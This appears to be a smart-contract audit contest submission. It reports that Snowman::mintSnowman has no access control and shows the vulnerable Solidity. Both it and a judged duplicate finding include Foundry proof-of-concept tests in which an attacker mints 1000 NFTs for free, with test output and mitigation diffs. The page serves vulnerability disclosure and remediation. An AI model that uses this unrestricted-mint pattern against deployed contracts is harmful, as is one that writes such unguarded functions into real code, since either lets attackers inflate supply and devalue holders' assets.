Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing access control in `Snowman::mintSnowman` lets anyone mint unlimited Snowman NFTs for free

Description

  • In the intended design, a Snowman NFT can only be created through the airdrop flow: a user stakes their Snow tokens by calling SnowmanAirdrop::claimSnowman, which transfers the user's Snow into the airdrop contract and then calls Snowman::mintSnowman to mint one NFT per staked token. Minting is therefore supposed to be reachable only from the airdrop contract, so that every Snowman in existence is backed by staked Snow.

  • Snowman::mintSnowman is declared external with no access control. There is no onlyOwner, and no check that msg.sender is the airdrop contract. Any externally owned account can call it directly with an arbitrary receiver and amount, minting unlimited NFTs while owning zero Snow and never touching the airdrop.

// src/Snowman.sol
function mintSnowman(address receiver, uint256 amount) external { // @> no access control / caller check
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood: High

  • The function is permanently callable by anyone on a deployed public contract, with no preconditions, cost gate, or role requirement.

  • An attacker mints for free simply by sending one transaction, and there is no reason a rational actor would not do so to farm NFTs.

Impact: High

  • An attacker mints an unlimited number of Snowman NFTs to any address for free, completely bypassing the Snow staking/airdrop mechanism.

  • The protocol's core invariant (one Snowman per staked Snow) is broken. Total supply becomes attacker-controlled, scarcity is destroyed, and the legitimate airdrop distribution is diluted and devalued.

Proof of Concept

An account that holds no Snow and is not the airdrop contract can mint arbitrarily many NFTs. Add to a Foundry test:

function test_AnyoneCanMintSnowmanForFree() public {
address attacker = makeAddr("attacker");
// attacker owns zero Snow and is not the SnowmanAirdrop contract
assertEq(snow.balanceOf(attacker), 0);
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000);
// attacker now holds 1000 NFTs, none backed by staked Snow
assertEq(snowman.balanceOf(attacker), 1000);
}

Recommended Mitigation

Restrict mintSnowman so that only the authorized SnowmanAirdrop contract can mint. Store the airdrop address (set once by the owner) and gate the call:

+ error SM__NotAirdrop();
+ address private s_airdrop;
+
+ function setAirdrop(address airdrop) external onlyOwner {
+ s_airdrop = airdrop;
+ }
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdrop) {
+ revert SM__NotAirdrop();
+ }
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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